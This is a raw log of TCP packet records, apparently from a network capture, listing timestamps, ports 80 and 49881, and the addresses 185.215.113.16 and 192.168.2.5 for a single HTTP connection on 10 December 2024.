Dec 10, 2024 02:51:18.754695892 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.754735947 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.762145042 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.762219906 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.762228966 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.762262106 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.769776106 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.769869089 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.769890070 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.769938946 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.777391911 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.777455091 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.777471066 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.777498007 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.785012960 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.785054922 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.785073042 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.785100937 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.864689112 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.864718914 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.864764929 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.864792109 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.868405104 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.868460894 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.905559063 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.905601978 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.905651093 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.905678034 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.908145905 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.908190966 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.908195019 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.908229113 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.913343906 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.913377047 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.913398981 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.913408995 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.918519020 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.918565989 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.918632984 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.918672085 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.923664093 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.923727989 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.923768044 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.923811913 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.928808928 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.928869009 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.928895950 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.928936005 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.934497118 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.934555054 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.934628010 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.934668064 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.939194918 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.939297915 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.939352036 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.939387083 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.944361925 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.944430113 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.944468975 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.944503069 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.949553967 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.949603081 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.949609995 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.949644089 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.954720974 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.954776049 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.954802990 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.954842091 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.959841013 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.959888935 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.959953070 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.959988117 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.965055943 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.965101004 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.965142012 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.965176105 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.970215082 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.970280886 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.970315933 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.970360994 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.975456953 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.975519896 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.975527048 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.975565910 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.980603933 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.980662107 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.980695963 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.980735064 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.985713005 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.985776901 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.985780001 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.985817909 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.990962982 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.991002083 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.991045952 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.991072893 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.996100903 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.996186018 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:18.996220112 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:18.996260881 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.001259089 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.001333952 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.001339912 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.001386881 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.006442070 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.006494999 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.056330919 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.056415081 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.056428909 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.056478024 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.057882071 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.057933092 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.057964087 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.058000088 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.063004971 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.063050032 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.063116074 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.063153028 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.097619057 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.097735882 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.097779989 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.097815037 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.099553108 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.099611044 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.099695921 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.099730015 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.103466988 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.103522062 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.103586912 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.103625059 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.107367992 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.107434034 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.107440948 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.107472897 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.111375093 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.111454010 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.111526012 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.111557961 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.115542889 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.115582943 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.115770102 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.115809917 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.119255066 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.119299889 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.119347095 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.119384050 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.122896910 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.122937918 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.123028994 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.123066902 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.126625061 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.126671076 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.126717091 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.126755953 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.129015923 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.129067898 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.129117012 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.129152060 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.131266117 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.131344080 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.131378889 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.131413937 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.133652925 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.133711100 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.133757114 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.133799076 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.135972023 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.136024952 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.136157990 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.136203051 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.140306950 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.140321970 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.140372038 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.141583920 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.141632080 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.141632080 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.141725063 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.141763926 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.143946886 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.143959999 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.144012928 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.146143913 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.146169901 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.146231890 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.146336079 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.146374941 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.148539066 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.148600101 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.148690939 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.148732901 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.150233030 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.150247097 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.150299072 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.152229071 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.152272940 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.152272940 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.152339935 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.152383089 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.154572964 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.154629946 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.154733896 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.154778957 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.156881094 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.156939030 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.157056093 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.157099009 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.159218073 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.159275055 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.159296989 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.159333944 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.161509037 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.161570072 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.161602020 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.161648989 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.249053955 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.249133110 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.249219894 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.249262094 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.249680996 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.249728918 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.249835014 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.249919891 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.250068903 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.250165939 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.253680944 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.253741980 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.253837109 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.253925085 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.255495071 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.255506992 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.255570889 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.257622957 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.257714987 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.257783890 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.257822990 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.259974003 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.260030985 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.290509939 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.290524960 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.290575027 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.291279078 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.291454077 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.291479111 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.291506052 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.293414116 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.293566942 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.293621063 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.294749022 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.294760942 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.294815063 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.296498060 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.296555996 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.296601057 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.298419952 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.298517942 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.298559904 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.298624992 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.298661947 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.300519943 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.300584078 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.300623894 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.300658941 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.302541971 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.302670956 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.302730083 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.304582119 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.304642916 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.304701090 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.306549072 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.306663990 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.306719065 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.308562040 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.308615923 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.308660984 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.310129881 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.310615063 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.310672045 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.310821056 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.310866117 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.312572002 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.312628031 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.312686920 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.312726021 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.314613104 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.314732075 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.314785004 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.316605091 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.316710949 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.316764116 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.318589926 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.318716049 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.318767071 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.320593119 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.320652962 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.320719957 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.322163105 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.322612047 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.322663069 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.322745085 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.322783947 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.324681044 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.324738026 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.324763060 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.324800968 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.326951027 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.327066898 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.327124119 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.328649998 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.328761101 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.328814983 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.330674887 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.330791950 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.330847025 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.332694054 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.332746983 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.332904100 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.334213018 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.334696054 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.334742069 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.334783077 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.334820986 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.336708069 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.336803913 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.336857080 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.338704109 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.338812113 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.338859081 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.340707064 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.340833902 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.340884924 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.342725992 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.342835903 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.342885017 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.344769955 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.344878912 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.344934940 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.346775055 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.346883059 CET	80	49881	185.215.113.16	192.168.2.5
Dec 10, 2024 02:51:19.346941948 CET	49881	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:19.348797083 CET	80	49881	185.215.113.16	192.168.2.5
